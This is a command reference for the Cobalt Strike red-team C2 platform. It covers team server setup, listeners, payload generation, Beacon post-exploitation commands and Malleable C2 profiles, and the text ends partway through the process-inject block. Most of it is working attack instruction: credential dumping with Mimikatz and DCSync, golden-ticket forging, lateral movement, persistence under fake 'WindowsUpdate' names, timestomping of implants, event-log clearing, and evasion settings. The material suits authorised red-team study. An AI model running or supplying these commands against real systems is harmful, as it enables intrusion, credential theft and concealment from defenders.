Developer: Raphael Mudge (@armitagehacker), now maintained by Fortra (formerly HelpSystems) Repo / Download: https://www.cobaltstrike.com (commercial license required) Description: Commercial adversary simulation and red team operations platform built around the Beacon implant License: Commercial — approximately $3,500 per user/year (2024 pricing) Docs: https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/
Overview
Cobalt Strike is the commercial C2 platform that virtually every enterprise red team either uses or benchmarks against. It is built around Beacon — an asynchronous, feature-rich implant that communicates over HTTP, HTTPS, DNS, SMB named pipes, and TCP sockets. The platform provides a GUI client, team server, and an extensible scripting language (Aggressor Script / Sleep) that lets operators tailor every aspect of the tool to an engagement.
Key capabilities:
- Malleable C2 — a domain-specific language for reprogramming Beacon's network indicators at the profile level, making traffic mimic arbitrary applications or known threat actors
- Peer-to-peer Beacons (SMB & TCP) — chain Beacons through each other across network segments that have no direct egress, building arbitrarily complex pivot networks
- Staged and stageless payloads — multiple output formats (EXE, DLL, shellcode, PowerShell, Python, VBA, HTA, etc.)
- Aggressor Script — a Sleep-language scripting engine that hooks into every layer of the framework (payload generation, post-exploitation, UI, team events)
- Arsenal Kit — modular C kits to replace the default Artifact loader, reflective loader (UDRL), sleep obfuscation (Sleepmask), and process injection techniques
- Beacon Object Files (BOFs) — small compiled C programs that run directly inside the Beacon process (no fork/run, no new process)
- Built-in post-exploitation — credential access via Mimikatz, token manipulation, UAC bypass, lateral movement (
jump,remote-exec), SOCKS proxy, port forwarding, keylogging, screenshots, and more
Cobalt Strike is strictly a post-exploitation framework — it does not include a vulnerability exploitation engine. Initial access (phishing, exploit delivery) gets you to a Beacon; Cobalt Strike takes over from there.
Architecture
┌──────────────────────────────────────────────────────────┐
│ Cobalt Strike Client (GUI) │
│ Aggressor Scripts loaded here — Sleep language engine │
│ Connects over SSL on port 50050 (default) │
└───────────────────────┬──────────────────────────────────┘
│ SSL (operator connection)
▼
┌──────────────────────────────────────────────────────────┐
│ Team Server (Linux) │
│ ./teamserver <IP> <password> [malleable_profile] │
│ Holds all session state, loot, credentials, logs │
│ Listener jobs run here (HTTP/HTTPS/DNS/SMB/TCP) │
└──────┬────────────────────────────────────────┬──────────┘
│ HTTP/HTTPS egress C2 │ DNS C2
▼ ▼
┌─────────────┐ ┌─────────────────┐
│ Redirector │ ← nginx/Apache/socat │ NS Delegation │
│ (VPS) │ mod_rewrite rules │ (public DNS) │
└──────┬──────┘ └────────┬────────┘
│ │
▼ ▼
┌─────────────────────────────────────────────────────────┐
│ Beacon (implant on compromised host) │
│ Asynchronous check-in / task retrieval │
│ Peer-to-peer links to other Beacons via SMB / TCP │
└─────────────────────────────────────────────────────────┘
Components:
- Team Server — Linux-only daemon that holds all state. Every listener, every session, all loot and credentials live here. Never run the team server directly accessible from the public internet without a redirector in front of it.
- Client (GUI) — the Java-based operator UI. Multiple operators can connect simultaneously (multiplayer mode). Each operator gets their own console view and shared team event log.
- Beacon — the implant. Uses an asynchronous "low and slow" communication pattern. Tasks are queued on the team server and retrieved by the Beacon on its next check-in interval. Outputs come back on the following check-in.
- Listeners — server-side stagers and handlers. A listener tells Beacon how to phone home and tells the team server how to handle incoming connections.
- Redirectors — separate VPS machines in front of the team server. All Beacon traffic hits the redirector, which proxies it through to the real team server. This hides the team server's real IP and allows traffic filtering.
Installation & Team Server Setup
The team server runs on Linux only. Operators connect from any OS with the Java client.
Requirements
- Linux (Ubuntu 20.04/22.04 recommended)
- Java 11+ (OpenJDK)
- Valid Cobalt Strike license + cobaltstrike.jar download from Fortra's licensed portal
Initial Setup
# Unpack the distribution
tar -xzf cobaltstrike-dist.tgz
cd cobaltstrike/
# Download updates from Fortra's update server (requires license key)
./update
# Verify what was downloaded
ls -la
# -> teamserver (bash launcher)
# -> cobaltstrike (client launcher)
# -> agscript (headless aggressor script runner)
# -> c2lint (profile validator)
# -> ...
Starting the Team Server
# Basic startup (always run as root or with appropriate capability for port binding)
sudo ./teamserver <external_IP> <password>
# With a Malleable C2 profile (recommended for real engagements)
sudo ./teamserver <external_IP> <password> /path/to/your.profile
# With a kill date (Beacons generated during this session self-destruct after this date)
sudo ./teamserver <external_IP> <password> /path/to/your.profile 2025-12-31
# Example
sudo ./teamserver 203.0.113.10 "S3cur3P@ssw0rd!" /opt/profiles/jquery-c2.profile
Important: The
<external_IP>is what gets baked into staged payloads as the callback address. For HTTPS listeners with a redirector in front, this is the redirector's IP or domain — not the team server's real IP.
Hardening the Team Server
# Bind the team server's operator port to localhost only, then SSH tunnel to it
# On the team server:
sudo ./teamserver 127.0.0.1 "password" /path/to/profile
# (listeners still bind to 0.0.0.0 for incoming Beacon connections)
# On the operator machine:
ssh -L 50050:127.0.0.1:50050 user@teamserver-ip
# Then connect the CS client to 127.0.0.1:50050
# iptables to restrict who can hit listener ports
iptables -A INPUT -p tcp --dport 443 -s <redirector_IP> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
Connecting the Client
# GUI client (standard)
./cobaltstrike
# Then fill in:
# Host: <team server IP or 127.0.0.1 if SSH-tunneled>
# Port: 50050
# Username: <your operator alias — shown in team chat and logs>
# Password: <the password you set when starting teamserver>
On first connect, the client shows a SHA256 fingerprint of the server's SSL certificate. Verify this matches what the team server printed to stdout when it started — this prevents a MITM at the operator-to-server channel level.
# Headless Aggressor Script runner (run scripts without the GUI)
./agscript <host> <port> <user> <password> /path/to/script.cna
Listeners
Listeners define how Beacons phone home. You configure them from Cobalt Strike → Listeners in the GUI, or via Aggressor Script. Multiple listeners of different types can run simultaneously.
HTTP / HTTPS Listener
The most common choice. Traffic blends into normal web activity.
Cobalt Strike → Listeners → Add
Name: http_main
Payload: windows/beacon_http/reverse_http
OR
windows/beacon_https/reverse_https
HTTP Hosts: <redirector_domain_or_IP>
HTTP Port: 80 (or 443 for HTTPS)
Beacons: (leave blank unless you need a different check-in host)
Key fields:
| Field | Description |
|---|---|
HTTP Hosts |
The callback address baked into staged payloads. Use your redirector domain. |
HTTP Port (C2) |
Port Beacons check in on. |
HTTP Port (Bind) |
Port the team server actually binds locally (can differ if behind a redirector). |
HTTP Host (Stager) |
Address for staged payload delivery — can differ from C2 host. |
Profile |
Select a Malleable C2 variant for this listener. |
Guardrails |
Optional — restrict Beacon to only operate if user, PID, domain, or server IP match a condition. |
DNS Listener
Tunnels C2 through DNS queries. Useful when HTTP/HTTPS egress is blocked but outbound DNS is permissive.
Payload: windows/beacon_dns/reverse_dns_txt
DNS Hosts: <domain_you_control_NS_records_for>
DNS Port: 53 (UDP)
DNS Idle: <IP to return when no task is pending — blend in with legit responses>
DNS Stager: <subdomain prefix for staged payload delivery>
DNS TXT Record: (check to use TXT records instead of A records — higher bandwidth)
DNS C2 setup requires you to own the domain and set an NS record pointing to your team server (or a socat/SSH DNS redirector):
# In your DNS zone:
c2ns.example.com. IN A 203.0.113.10 # team server or redirector
poll.c2.example.com. IN NS c2ns.example.com.
# Beacon's check-in format becomes:
# <encoded_data>.poll.c2.example.com → A query
# Response: <encoded_task> encoded in DNS A record or TXT record
DNS beacon check-in interval is controlled by the maxdns (max DNS hostname length) and dns_sleep options in the profile.
SMB Beacon Listener
Not an egress listener — SMB Beacons are peer-to-peer only. They communicate with a parent (egress) Beacon via Windows named pipes over SMB. Used for lateral movement into hosts without direct internet access.
Payload: windows/beacon_smb/bind_pipe
Pipe Name: <custom_pipe_name> # default: msagent_XXXX — change this
The SMB Beacon waits for a parent Beacon to link to it. Named pipe name should be customized to match something plausible in the target environment (see pipename in the Malleable C2 stage block).
TCP Beacon Listener
Similar to SMB Beacon but uses a raw TCP socket instead of a named pipe. Useful when SMB is filtered or port 445 is restricted between internal hosts.
Payload: windows/beacon_tcp/bind_tcp
Port: <local_port_the_TCP_beacon_binds>
Loopback Only: ☐ (uncheck for cross-host connectivity)
Parent Beacon connects via connect <target> <port> instead of link.
External C2 Listener
Provides a REST API for integrating third-party channels (e.g. Slack, Twitter, custom protocols) into Cobalt Strike's architecture. Out of scope for a getting-started reference — see the External C2 specification in the official docs.
Payload Generation
Staged vs Stageless
This is the single most important payload decision.
| Staged | Stageless | |
|---|---|---|
| On-disk size | Small (a few KB) | Full Beacon size (~200KB+) |
| On-wire behavior | Fetches the real payload from the team server on first run | Fully self-contained |
| Network exposure | Creates a second connection to retrieve stage | No extra stage retrieval request |
| OPSEC | Stage request is a distinct IOC | Better — no stage retrieval |
| AV/EDR evasion | Easier to deliver (small dropper) | Must embed and protect full payload |
| Use case | Quick testing, phishing with size constraints | Production engagements |
Rule: In real engagements, prefer stageless ((S) variants in the GUI). Staged payloads leave an obvious stager connection pattern that defenders can detect.
Payload Formats
Generated from Attacks → Packages in the GUI:
| Format | Description |
|---|---|
Windows Executable |
Staged EXE (.exe) — calls back to retrieve the full Beacon |
Windows Executable (S) |
Stageless EXE — recommended for real use |
Windows DLL |
Staged DLL (rundll32.exe DllMain style) |
Windows DLL (S) |
Stageless DLL |
Windows Shellcode |
Raw position-independent shellcode (staged) |
Windows Shellcode (S) |
Raw PIC shellcode, stageless — inject into any loader |
Windows Service EXE (S) |
Stageless EXE compiled as a Windows Service binary for psexec-style lateral movement |
MS Office Macro |
VBA macro for Word/Excel delivery (staged by default) |
HTML Application |
HTA file — runs via mshta.exe |
PowerShell Command |
One-liner that downloads and stages a Beacon via IEX |
PowerShell Web Delivery |
Hosts a one-liner server on the team server for quick delivery |
Python |
Python stager (cross-platform delivery tool) |
All payload generation can also be done via Aggressor Script (see artifact_payload, shellcode, powershell_import, etc.).
Attacks Menu
Attacks → Packages → all payload format types above
Attacks → Web Drive-by → Scripted Web Delivery (host a PowerShell/Python/bitsadmin one-liner)
→ System Profiler (map client-side attack surface)
→ Clone Site (clone a target's site for phishing)
→ Manage (manage hosted content on the team server's built-in web server)
Attacks → Spear Phish → craft and send phishing emails using a saved email template
Beacon Management
Session Table & GUI Views
View → Sessions — table of all active Beacon sessions
View → Targets — host-centric view (right-click targets to jump/interact)
Cobalt Strike → Visualization → Pivot Graph — graphical peer-to-peer chain diagram
Cobalt Strike → Visualization → Session Table — same as View → Sessions
Session table columns:
| Column | Meaning |
|---|---|
external |
IP the team server sees the Beacon coming from (may be redirector IP) |
internal |
IP reported by the Beacon's host NIC |
user |
USERNAME@HOSTNAME (red/lightning = elevated/admin) |
computer |
NetBIOS hostname |
note |
Operator-set note (right-click → Note) |
listener |
Which listener this Beacon is using |
pid |
Beacon's host process ID |
last |
Seconds since last check-in |
Right-click on a Beacon for the full context menu: Interact, Session, Access, Explore, Pivoting, Spawn, Note, Remove.
Beacon Console Basics
Double-click any session to open its Beacon console. Commands typed here are queued and execute on the Beacon's next check-in; output returns on the following check-in.
beacon> help # list all commands with brief description
beacon> help <command> # detailed help for a specific command
beacon> sleep 30 # check in every 30 seconds
beacon> sleep 60 20 # check in every 60s with 20% jitter (range: 48–72s)
beacon> sleep 0 # interactive mode — check in as fast as possible
beacon> checkin # force an immediate check-in (does not change sleep)
beacon> clear # cancel all pending queued tasks
beacon> jobs # list running background jobs (keylogger, screenshots, etc.)
beacon> jobkill <job_id> # kill a specific background job
beacon> exit # terminate this Beacon (sends kill command to the implant)
Core Beacon Commands — Full Reference
Recon & Info
These are built-in native API commands — no process spawn, no cmd.exe. OPSEC-safe.
# Identity
getuid # Current user and domain (native API, no whoami spawn)
getpid # Beacon's own PID
getprivs # List current process privileges (uses OpenProcessToken)
# Host info
ps # List running processes with PID, PPID, user, session, arch
net localgroup # Local groups
net localgroup administrators # Members of local Administrators
net user # Local users
net domain # Domain name the host is joined to
net dclist # List domain controllers for the current domain
net share # List SMB shares on the local host
net view # Hosts visible in the current domain/workgroup
net computers # Computers in the domain
# Network
ipconfig # Network interfaces and IPs (native, not shell ipconfig)
arp # ARP cache
route # Routing table
# File system info
drives # List available drives
ls [path] # List directory — defaults to current working directory
pwd # Print working directory
File System
ls [path] # List directory contents
cd <path> # Change directory
mkdir <path> # Create directory
rm <path> # Remove file or directory
cp <src> <dst> # Copy file
mv <src> <dst> # Move/rename file
# File transfer
upload /local/path/file # Upload file from operator machine to target
download <remote_path> # Download file from target to operator machine
# (delivered to ~/cobaltstrike/downloads/)
# Timestamps
timestomp <target_file> <reference_file> # Copy timestamps from reference → target
Process Control & Execution
# Command execution — choose carefully based on OPSEC requirements
# OPSEC WORST — spawns cmd.exe as child process
shell <command> # Execute via cmd.exe /c <command>
# Better — spawns powershell.exe
powershell <command> # Execute via powershell.exe -nop -w hidden -c <command>
powerpick <command> # Execute PowerShell via unmanaged runspace (no powershell.exe spawn)
# OPSEC BEST — execute in-process via BOF (no new process)
inline-execute <bof_file> [args] # Run a BOF directly in Beacon's memory
# Execute .NET assembly in Beacon's process (Fork & Run into spawnto process)
execute-assembly <local_path_to.exe> [args]
# Run a shell command and return output (fork & run)
run <command> # Run a command without cmd.exe — arguments passed directly
# Process management
kill <PID> # Kill a process by PID
ppid <PID> # Set fake parent PID for all spawned processes (PPID spoofing)
# Use: ppid <PID_of_legit_process> then shell/powershell
# spawnto — controls what process "Fork & Run" uses for temporary jobs
spawnto x64 %windir%\sysnative\dllhost.exe
spawnto x86 %windir%\syswow64\dllhost.exe
# Spawn a new Beacon in a different process
spawn <listener> # Spawn a new session via the configured spawnto process
spawnas DOMAIN\user password <listener> # Spawn as another user (disk touch — runs EXE)
spawnu <PID> <listener> # Spawn into the security context of another process (no creds needed)
# Inject shellcode into an existing process
inject <PID> x64 <listener> # Inject a Beacon stager into a running process
Injection & In-Memory Execution
# Fork & Run (default for many post-ex commands)
# CS spawns a temp process (spawnto), injects a reflective DLL, runs it, kills it
# Noisy: creates process, may RWX memory; mitigated by customizing spawnto
# Explicit injection into a specific existing PID
shinject <PID> x64 /path/to/shellcode.bin # inject raw shellcode into a running PID
shspawn x64 /path/to/shellcode.bin # spawn a new process and inject shellcode
# PowerShell in-process (no powershell.exe)
psinject <PID> x64 <powershell_command> # run PowerShell inside an existing process
# .NET assembly
execute-assembly /path/to/Assembly.exe [args] # runs via Fork & Run (spawnto process)
# In-process shellcode (run in Beacon's own thread — stable but kills Beacon on crash)
# Use via: inline-execute <bof.o> [args]
# DLL injection
dllinject <PID> /path/to/dll.dll # inject a DLL via WriteProcessMemory + CreateRemoteThread
dllload <PID> /path/on_target/dll.dll # load a DLL that's already on disk on the target
OPSEC note on "Fork & Run": Any command that says "Spawns temporary process" in help output uses Fork & Run. This creates a process, injects a reflective DLL (RWX → RX memory), and kills it. Always verify spawnto is set to something plausible (dllhost.exe, gpupdate.exe) rather than the default rundll32.exe.
Credential Access
# Hash / password dump
hashdump # Dump local SAM hashes (Fork & Run → LSASS read via Mimikatz)
logonpasswords # Mimikatz sekurlsa::logonpasswords — plaintext + NTLM from LSASS
# OPSEC: very loud; touches LSASS; triggers most AV/EDR
# Targeted LSASS access
mimikatz sekurlsa::logonpasswords # full mimikatz invocation via Beacon's built-in loader
mimikatz lsadump::sam # SAM database dump
mimikatz lsadump::dcsync /user:krbtgt /domain:corp.local # DCSync for krbtgt
mimikatz lsadump::lsa /patch # LSA secrets
# DCSync (no LSASS touch — uses domain replication APIs over the network)
dcsync [DOMAIN] [DOMAIN\user] # Replicates target account's password data from a DC
# Requires Domain Admin or equivalent; no touch on DC's LSASS
# Credentials view and management
credentials # View the team server's credential store (shared across operators)
Dumped credentials go into View → Credentials in the GUI and are shared across all connected operators.
Privilege Escalation
# Check current elevation
getuid # Shows if running as SYSTEM or if token is elevated
# GetSystem — several techniques to attempt SYSTEM from local admin
getsystem # Try all built-in GetSystem techniques
# Technique 1: Named pipe impersonation (service writes to pipe; Beacon impersonates)
# Technique 2: Token duplication from a SYSTEM process
# OPSEC: Creates a service; triggers SYSTEM_NAME pipe events
# UAC Bypass — spawns elevated session (user must be in Administrators group)
elevate uac-rpc-dom <listener> # RPC/debug object UAC bypass — Windows 10 through 11 25H2
elevate uac-token-duplication <listener> # Token duplication bypass
runasadmin uac-rpc-dom <command> # Same bypass but runs a command instead of spawning session
runasadmin uac-token-duplication <command>
# Elevate Kit — load additional elevate modules via Aggressor Script
# Community elevate modules: EfsPotato, PrintSpoofer, RottenPotato variants, etc.
# After loading: elevate <module_name> <listener>
# Check if running high integrity
run whoami /groups | findstr /i "S-1-16-12288" # High mandatory level = elevated
Token & Identity Manipulation
Token manipulation is Cobalt Strike's core mechanism for lateral movement — commands don't accept credentials directly; they use tokens.
# Steal a token from a running process
steal_token <PID> # Impersonate the security token of a running process
# Requires process to be accessible; works without SeDebugPrivilege
# for same-user processes
rev2self # Revert to original token (undo steal_token / make_token)
# Create a token from credentials (network logon — does not change local context)
make_token DOMAIN\user password # Creates a NETONLY logon session
# Local commands still run as original user
# Network authentication uses the new token
# OPSEC: Event ID 4624 (type 9 = NewCredentials)
# Impersonate via credentials with a new process
runas DOMAIN\user password <command> # Spawn command as a different user (disk touch — drops artifact)
spawnas DOMAIN\user password <listener> # Spawn a Beacon as a different user
# Create sacrificial process as another user's security context (no creds — based on process token)
spawnu <PID> <listener> # Spawn Beacon in the identity of the process at <PID>
# Pass-the-Hash
pth DOMAIN\user <NTLM_hash> # Use Mimikatz to apply hash; creates new logon session
# Spawns temp process + Mimikatz; Event ID 4624 type 9
# List current tokens and impersonation state
getuid # Shows which identity Beacon is running as
Kerberos Operations
# Import and use a Kerberos ticket (Pass-the-Ticket)
kerberos_ticket_use /path/to/ticket.kirbi # Apply a .kirbi ticket to current logon session
kerberos_ccache_use /path/to/ticket.ccache # Apply a Linux-format ccache ticket
kerberos_ticket_purge # Purge all Kerberos tickets in current session
# Generate tickets via Mimikatz (run within Beacon)
mimikatz kerberos::golden /user:Administrator /domain:corp.local \
/sid:<domain_SID> /krbtgt:<krbtgt_NTLM> /id:500 # Golden ticket (krbtgt hash required)
mimikatz kerberos::silver /user:targetuser /domain:corp.local \
/sid:<domain_SID> /target:targethost.corp.local \
/service:cifs /rc4:<service_account_NTLM> # Silver ticket
# Over-Pass-the-Hash (use hash to obtain a valid TGT, then use that for Kerberos auth)
mimikatz sekurlsa::pth /user:Administrator /ntlm:<hash> /domain:corp.local /run:powershell.exe
Lateral Movement
Lateral movement in Cobalt Strike uses the jump and remote-exec commands. These do not accept credentials directly — you must have an appropriate token set first (make_token, steal_token, or pth).
# List available jump modules
jump
# Typical output:
# psexec x86 Use a service to run a payload on a target
# psexec64 x64 Use a service to run a payload on a target
# psexec_psh x86 Use a PowerShell one-liner to run a payload on a target
# winrm x86 Run a PowerShell script via WinRM to deploy a payload
# winrm64 x64 Run a PowerShell script via WinRM to deploy a payload
# wmi x86 Use WMI to run a PowerShell script on a target
# wmi64 x64 Use WMI to run a PowerShell script on a target
# Jump — deploys and auto-links a Beacon on a remote host
jump psexec64 <target_hostname_or_IP> <listener_name>
jump winrm64 <target_hostname_or_IP> <listener_name> # quieter — WinRM, Event ID 4624 type 3
jump wmi <target_hostname_or_IP> <listener_name>
jump psexec_psh <target_hostname_or_IP> <listener_name> # PSExec via PowerShell one-liner, no EXE drop
# remote-exec — run a command on a remote host (no new session spawned)
remote-exec # list available modules
remote-exec psexec <target> <command>
remote-exec winrm <target> <command>
remote-exec wmi <target> <command>
# GUI-driven lateral movement
# View → Targets → right-click [target] → Jump → [select module]
# Fill in credentials/token choice + listener, press Launch
OPSEC comparison:
| Module | Mechanism | Key Event IDs | Noise Level |
|---|---|---|---|
psexec |
Service creation + EXE drop to ADMIN$ | 7045 (service install), 4697 | Loudest |
psexec_psh |
Service creation + PowerShell one-liner, no EXE | 7045, 4697, 4688 (PowerShell) | Loud |
winrm |
WinRM (port 5985/5986) | 4624 type 3, WinRM logs | Moderate |
wmi |
WMI execution (Win32_Process.Create) | 4688, WMI-Activity | Moderate |
psexec (SMB Beacon) |
Same as psexec but payload is SMB Beacon | 7045, 4697 | Loudest |
OPSEC tip: Prefer
jump winrm64overjump psexec64. Service creation (Event ID 7045) is one of the most-monitored lateral movement indicators in mature SOC environments.
Peer-to-Peer Pivoting (SMB & TCP Beacons)
SMB and TCP Beacons don't egress to the internet — they talk to a parent Beacon, which relays to the team server. This is how you reach hosts in network segments without direct internet access.
SMB Pivot Architecture:
┌──────────────────────────────────────────────────┐
│ TEAM SERVER ◄──── HTTPS ──── HOST A (parent) │
│ │ │
│ named pipe (SMB) │
│ │ │
│ HOST B (peer) │
│ (no egress needed) │
└──────────────────────────────────────────────────┘
# Step 1: Lateral move to HOST B with an SMB Beacon payload
jump psexec64 hostB smb_listener
# ^ Cobalt Strike auto-links the SMB Beacon for you in most cases
# Step 2: If you deployed the SMB Beacon manually, link it from a parent Beacon
beacon> link hostB # auto-detect pipe name from listener
beacon> link hostB \\.\pipe\custom_pipename # specify pipe name if custom
# Step 3: Check the Pivot Graph
# Cobalt Strike → Visualization → Pivot Graph
# Orange arrow = named pipe (SMB) connection
# Green dashed = HTTP/HTTPS egress
# Step 4: Interact with the linked Beacon (appears in session table)
# Delink (doesn't kill — puts SMB Beacon in a waiting state)
beacon> unlink hostB <PID> # PID = the SMB Beacon's process ID
# Later re-link from any Beacon in the same CS instance
beacon> link hostB
# TCP Beacon (works the same but with TCP socket instead of named pipe)
jump psexec64 hostB tcp_listener
beacon> connect hostB <port> # manual connection to a waiting TCP Beacon
beacon> unlink hostB <PID> # same unlink mechanic
# Kill a peer Beacon completely
beacon> (in child beacon) exit
Caveats:
- SMB Beacons require port 445 to be open between the parent and child host
- You can only link Beacons managed by the same Cobalt Strike instance
- Error 5 (access denied) when linking → your current token doesn't have rights to the pipe; use
make_tokenorsteal_tokenfirst then retrylink - Once a Beacon becomes a peer (SMB/TCP), it cannot switch back to HTTP/DNS egress. If you need HTTP egress from that host, spawn a new separate Beacon with a different listener type
Network Pivoting (SOCKS & Port Forwarding)
For routing your own tools (nmap, impacket, CrackMapExec) through a Beacon into the internal network.
# SOCKS4a proxy (older — widely supported by proxychains)
socks 1080 # Start SOCKS4a proxy on team server, port 1080
socks stop # Stop it
# SOCKS5 proxy (newer, more features)
socks 1080 socks5 # Start SOCKS5 on port 1080
socks 1080 socks5 enableNoAuth # No auth (default)
socks 1080 socks5 userpass <username> <pass> # With authentication
# Check active SOCKS proxies
socks # (no args) — list active proxies
# Port forwarding — forward a specific port
# rportfwd: bind a port on the TARGET, forward it back to the team server → anywhere
rportfwd <bind_port_on_target> <fwd_host> <fwd_port>
# Example: bind port 8080 on the target, forward to 192.168.1.5:80
rportfwd 8080 192.168.1.5 80
# rportfwd_local: forward to the operator machine rather than team server
rportfwd_local <bind_port_on_target> <fwd_host> <fwd_port>
# List and stop port forwards
rportfwd # list active forwards
rportfwd stop <bind_port> # stop a specific forward
# Use SOCKS proxy with your tools:
# /etc/proxychains4.conf:
socks4 127.0.0.1 1080 # SOCKS4a, or:
socks5 127.0.0.1 1080 # SOCKS5
proxychains nmap -sT -Pn -p 445,80,443,3389,22 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.0/24 -u admin -H <NTLM>
proxychains impacket-secretsdump CORP/admin@192.168.1.10
proxychains evil-winrm -i 192.168.1.10 -u admin -p 'password'
proxychains xfreerdp /u:admin /p:password /v:192.168.1.10
Persistence
Cobalt Strike itself doesn't include built-in persistence modules — they're typically handled via Aggressor Script extensions, BOFs, or manual shell commands. Common patterns:
# Registry Run key (via shell)
shell reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
/v "WindowsUpdate" /t REG_SZ /d "C:\ProgramData\agent.exe" /f
# Scheduled task (via shell)
shell schtasks /create /tn "WindowsUpdate" /tr "C:\ProgramData\agent.exe" \
/sc onlogon /ru SYSTEM /f
# Service (via shell)
shell sc create WindowsUpdate binPath= "C:\ProgramData\agent.exe" start= auto
shell sc start WindowsUpdate
# WMI subscription (requires domain admin or elevated)
shell powershell Set-WMIInstance -Class __EventFilter ... # (standard WMI persistence)
# Persistence via Aggressor/BOF extensions:
# elevatekit, persistence-aggressor-script, SharPersist (execute-assembly)
execute-assembly /opt/SharPersist/SharPersist.exe \
-t reg -c "C:\ProgramData\agent.exe" -n "WindowsUpdate" -m add
Registry Operations
# Query a registry key
reg query HKLM\System\CurrentControlSet\Services
# Query a specific value
reg queryv HKLM\Software\Microsoft\Windows\CurrentVersion\Run "program_name"
# Write a value (via shell or powershell — no native beacon reg write command)
shell reg add HKLM\path\to\key /v ValueName /t REG_SZ /d "value" /f
Timestomping & Cover Tracks
# Copy timestamps from a reference file to a target file
timestomp <target_file> <reference_file>
# Example — make an uploaded implant look as old as notepad.exe
timestomp C:\ProgramData\implant.exe C:\Windows\System32\notepad.exe
# Clear event log (via shell — loud, but sometimes needed)
shell wevtutil cl System
shell wevtutil cl Security
shell wevtutil cl Application
shell wevtutil cl "Microsoft-Windows-PowerShell/Operational"
Beacon Housekeeping
sleep <seconds> [jitter%] # Set check-in interval and optional jitter percentage
# sleep 0 = interactive (poll as fast as possible)
# sleep 60 20 = 60s ±20% (range: 48–72s)
checkin # Immediate check-in without changing the sleep timer
clear # Cancel all pending queued tasks
# PPID spoofing — all processes spawned by Beacon will appear to have this parent
ppid <PID> # Set fake parent PID (pick a believable process, e.g. explorer.exe)
ppid 0 # Reset to default (no PPID spoofing)
# Process name injection point override
spawnto x64 %windir%\sysnative\dllhost.exe
spawnto x86 %windir%\syswow64\dllhost.exe
# Blocking dlls / ETW patching
blockdlls start # Block non-Microsoft-signed DLLs from loading into Fork & Run processes
blockdlls stop
# Environment / config
setenv <var> <value> # Set an environment variable
getenv # Get environment variables
note <text> # Set an operator note on this session (visible in session table)
# Network / session ops
jobs # List running jobs (keylogger, screenshot, etc.)
jobkill <job_id> # Kill a running job
exit # Terminate Beacon
Malleable C2 Profiles
A Malleable C2 profile is loaded at team server startup and controls Beacon's:
- Network traffic appearance (HTTP headers, URIs, cookies, encoding)
- In-memory characteristics (PE headers, stage evasion)
- Process injection behavior
- Post-exploitation spawned process settings
Only one profile per team server instance. You cannot hot-swap it — changing the profile requires restarting the team server. Existing Beacons stop working because they have the old profile baked in.
Profile Structure
# Global options — apply to everything
set sleeptime "60000"; # Default sleep in ms (60s)
set jitter "20"; # Jitter percentage
set maxdns "255"; # Max DNS hostname length for DNS beacon
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set pipename "mojo.5688.8052.183894939787088877"; # Default SMB pipe name (CHANGE THIS)
set tcp_port "4444"; # Default TCP Beacon port
# HTTP check-in behavior
http-get {
set uri "/search";
client {
header "Accept" "text/html,application/xhtml+xml";
header "Host" "www.google.com";
metadata {
base64url;
parameter "q"; # Beacon ID/session metadata goes in ?q= parameter
}
}
server {
header "Content-Type" "text/html";
output {
base64;
print; # Encoded task goes in the response body
}
}
}
# HTTP post (Beacon sends task output back to team server)
http-post {
set uri "/collect";
client {
header "Content-Type" "application/x-www-form-urlencoded";
id {
parameter "sid"; # Beacon ID in POST parameter
}
output {
base64url;
parameter "data"; # Task output in POST body parameter
}
}
server {
header "Content-Type" "text/html";
output {
print;
}
}
}
Key Global Options
| Option | Default | Description |
|---|---|---|
sleeptime |
60000 |
Check-in interval in milliseconds |
jitter |
0 |
Jitter percentage applied to sleeptime |
useragent |
MSIE UA | User-Agent header for HTTP(S) Beacons |
pipename |
random | SMB named pipe name — always change this |
pipename_stager |
random | Named pipe for SMB stager |
tcp_port |
4444 |
Default TCP Beacon bind port |
maxdns |
255 |
Max DNS hostname length |
dns_idle |
0.0.0.0 |
IP returned when Beacon has no task (DNS mode) |
dns_sleep |
0 |
Extra sleep between DNS check-ins (ms) |
host_stage |
true |
Host payload stage on team server's web server |
obfuscate |
false |
Obfuscate Beacon's in-memory strings |
cleanup |
false |
(4.9+) Clean up post-ex UDRL memory after load |
library |
wininet |
(4.9+) HTTP library — wininet or winhttp |
http-get / http-post Blocks
The core transformation language uses a stack of data transforms applied in order. Each statement pops data off the top of a virtual stack and pushes a transformed version:
| Transform | Direction | Effect |
|---|---|---|
base64 |
encode/decode | Base64 encode/decode |
base64url |
encode/decode | URL-safe Base64 |
base32 |
encode/decode | Base32 encode/decode |
netbios |
encode/decode | NetBIOS name encoding |
netbiosu |
encode/decode | Uppercase NetBIOS |
prepend "string" |
prepend | Prepend literal string |
append "string" |
append | Append literal string |
mask |
encode | XOR+Base64 |
Termination statements (where the data lands):
| Statement | Usage |
|---|---|
print |
Writes data to the HTTP body |
header "Name" |
Places data in an HTTP header |
parameter "name" |
Places data in a query string parameter |
uri-append |
Appends data to the URI |
stage Block (In-Memory Evasion)
Controls what Beacon's PE headers look like after it loads into memory — critical for evading in-memory scanners.
stage {
set userwx "false"; # Don't use RWX memory — use RW then RX (better)
set cleanup "true"; # Remove reflective loader from memory after load
set sleep_mask "true"; # Enable sleep obfuscation (requires Sleepmask Kit)
set stomppe "true"; # Stomp PE headers after loading
set obfuscate "true"; # XOR the Beacon payload while staging
set smartinject "true"; # Use PIC address for Beacon's base address in memory
set allocator "HeapAlloc"; # Memory allocator: HeapAlloc, MapViewOfFile, VirtualAlloc
# Spoof PE headers to look like a legitimate DLL
transform-x64 {
strrep "ReflectiveLoader" ""; # Remove this string from the binary
strrep "beacon.dll" "";
}
transform-x86 {
strrep "ReflectiveLoader" "";
}
# Specify a DLL whose headers Beacon will copy (looks like a real DLL in memory)
set module_x64 "xpsservices.dll";
set module_x86 "xpsservices.dll";
# Process to spawnto for Fork & Run operations
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
}
process-inject Block
Controls how Beacon performs process injection for remote process operations.
process-inject {
set allocator "NtMapViewOfSection"; # Memory allocation API (VirtualAllocEx, NtMapViewOfSection)
set min_alloc "16700"; # Minimum allocation size in bytes
transform-x64 {
prepend "\x90\x90\x90\x90"; # Add NOP sled before shellcode
}
transform-x86 {
prepend "\x90\x90\x90\x90";
}
